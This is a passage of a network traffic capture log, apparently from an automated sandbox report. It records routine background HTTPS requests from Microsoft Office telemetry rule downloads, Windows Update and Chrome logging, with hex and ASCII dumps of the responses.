2024-10-27 16:54:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 9e6b2b63-d01e-008e-7443-26387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-17c5cb586f62blg5ss55p9d6fn00000004d0000000001cp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 9956b93e-101e-0017-0e1a-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-r197bdfb6b4g24ztpxkw4umce8000000058000000000b40n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49748	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mplgGFYO8rDrOkg&MD=kno1x+AY HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-27 16:54:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ea7bbbb2-67d6-4444-bd9f-5d27c9107270 MS-RequestId: 111d0d07-9722-4d11-a2f7-71049eac7307 MS-CV: W/+K5pGQ4EGaGKZp.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 27 Oct 2024 16:54:22 GMT Connection: close Content-Length: 24490
2024-10-27 16:54:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-27 16:54:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:23 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:23 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 73bfd404-001e-0066-7fd4-26561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165423Z-17c5cb586f67hfgj2durhqcxk800000002m000000000a1d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:23 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49756	142.250.184.206	443	380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:23 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 904 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-27 16:54:23 UTC	904	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 30 34 38 30 36 30 33 35 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730048060355",null,null,null,
2024-10-27 16:54:23 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=PkjTG7Vj-LauDaZGMnGcJWPK14oe8BdsgnhFSzYyyOT6FS7LMyijGKmWRHzwx0oHLHbmo8s54A443UY0oGXNm0GCGkvkev2GSR9OfGVkIhDuAWZY8_K9a_EIUMM9yOCCbkpPUiLX5eGCpOXQrg2_hLRQERBu8rL25_tT6GNXo13pt34Wrg; expires=Mon, 28-Apr-2025 16:54:23 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sun, 27 Oct 2024 16:54:23 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sun, 27 Oct 2024 16:54:23 GMT Connection: close Transfer-Encoding: chunked
2024-10-27 16:54:23 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-27 16:54:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:23 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 111e84cc-b01e-003e-6d58-268e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165423Z-17c5cb586f65j4snyp1hqk5z2s0000000560000000005b7e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:23 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165423Z-16849878b782d4lwcu6h6gmxnw00000003kg0000000010q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:23 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:23 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 66384a0c-801e-002a-112b-2631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165423Z-15b8d89586fvk4kmbg8pf84y8800000004n000000000bf7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:23 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:23 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 96e16e7c-301e-000c-53ef-25323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165423Z-r197bdfb6b4jlq9hb8xf0re6t400000003ug000000006v72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:23 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165423Z-16849878b782d4lwcu6h6gmxnw00000003hg000000003d0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:24 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:24 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165424Z-16849878b785jrf8dn0d2rczaw00000004x000000000fbgb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
